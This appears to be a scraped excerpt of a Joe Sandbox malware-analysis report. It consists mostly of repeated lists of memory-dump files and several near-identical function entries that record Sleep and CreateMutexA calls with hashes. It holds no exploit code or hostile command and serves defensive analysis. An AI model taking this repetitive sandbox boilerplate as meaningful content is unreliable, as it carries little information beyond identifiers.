Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 52e84791f2afba4924d1cfb330db8a2c7c8518807acdf6dff3d259ee96612374
Instruction ID: 309225b7849bc5018446cf90ac6c4c8e3b262e42b74b7e7610b6c22fcc7ef7ce
Opcode Fuzzy Hash: 52e84791f2afba4924d1cfb330db8a2c7c8518807acdf6dff3d259ee96612374
Instruction Fuzzy Hash: 54314A316212008BEF08EB7CEC8975DBBBAEFD5314F208659E014A72D5CB759DE08B51

Function 00269F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: c65f04145f186178d705d1ce86cfea389cab20885a3987f40b00050ffbacc66a
Instruction ID: 0f0024d560f9256b786eaaf5e2ba0e2023ec1c82d945384a53e766e975aac8b0
Opcode Fuzzy Hash: c65f04145f186178d705d1ce86cfea389cab20885a3987f40b00050ffbacc66a
Instruction Fuzzy Hash: 7C312A316201018BEF18DB7CD8897ACB7BAEF95310F208659E418E76D5C7755DE08B52

Function 0026A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 3fbaab3c039b66bce24bd526070cc6b2190328cdd9faee49165c5b6440f6e7a5
Instruction ID: bc83b8dee3776343c1374d3ff43a946a3254ee9aff7b6d1e13eac3adc00f3300
Opcode Fuzzy Hash: 3fbaab3c039b66bce24bd526070cc6b2190328cdd9faee49165c5b6440f6e7a5
Instruction Fuzzy Hash: 2C314A316201009BEF08DB7CDC89B5DB7B6DF92314F208659E418A73D5C7769DE08A52

Function 0026A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 8415cc0d7b6babb93efa235d6a224ad71a6538c7392c82eb47678818acc9af09
Instruction ID: 319f5559e69419d5c371c65aab547d9b452ac31b0a43e364e23a5f910602856a
Opcode Fuzzy Hash: 8415cc0d7b6babb93efa235d6a224ad71a6538c7392c82eb47678818acc9af09
Instruction Fuzzy Hash: 033148326201019BFF08DB7CDC99B6DB7B6EF96310F208659E418A72D5C7769DE08B12

Function 0026A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727175009.00000000002D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727187209.00000000002D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727557697.0000000000432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727594203.0000000000435000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727642708.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727712182.0000000000458000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727726725.000000000045D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727742425.0000000000468000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727777307.000000000046E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727801147.0000000000483000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727844747.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727862153.000000000048D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727901839.0000000000495000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727917787.0000000000496000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727931946.0000000000497000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727974524.00000000004B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728038746.00000000004BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728056007.00000000004BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728097937.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728113920.00000000004CE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728333746.00000000004CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728409290.00000000004D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728454814.00000000004DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728527768.00000000004DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728556941.00000000004DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728578849.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728600406.00000000004E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728622860.00000000004E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728706795.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728779470.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729697021.00000000004F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730219787.00000000004F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730233224.00000000004FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730245794.0000000000509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730256625.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730268868.0000000000517000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730280982.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730295637.000000000052E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730306730.000000000053B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733425759.0000000000551000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734197930.0000000000553000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735664364.0000000000567000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735740951.0000000000568000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735775215.0000000000569000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735803184.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735839394.000000000056E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735880062.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735917917.000000000057F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: ed5e5be0b2d77446695b4be86f52a25d44b0275123a995b9b0c6201c376d30ff
Instruction ID: d3b625539a199f8b200031e1b94df62bc379db9b3672df1943937897923f2d5e
Opcode Fuzzy Hash: ed5e5be0b2d77446695b4be86f52a25d44b0275123a995b9b0c6201c376d30ff
Instruction Fuzzy Hash: DF314831A201019BEF08EB7CDC8DB6DB7B6EF91314F208659E014A72D5CBB59DE08E52

Function 0026A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1727089518.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727101383.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727139422.00000000002C9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727150208.00000000002CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727163064.00000000002D5000.00000080.00000001.01000000.00000003.sdmpDownload File
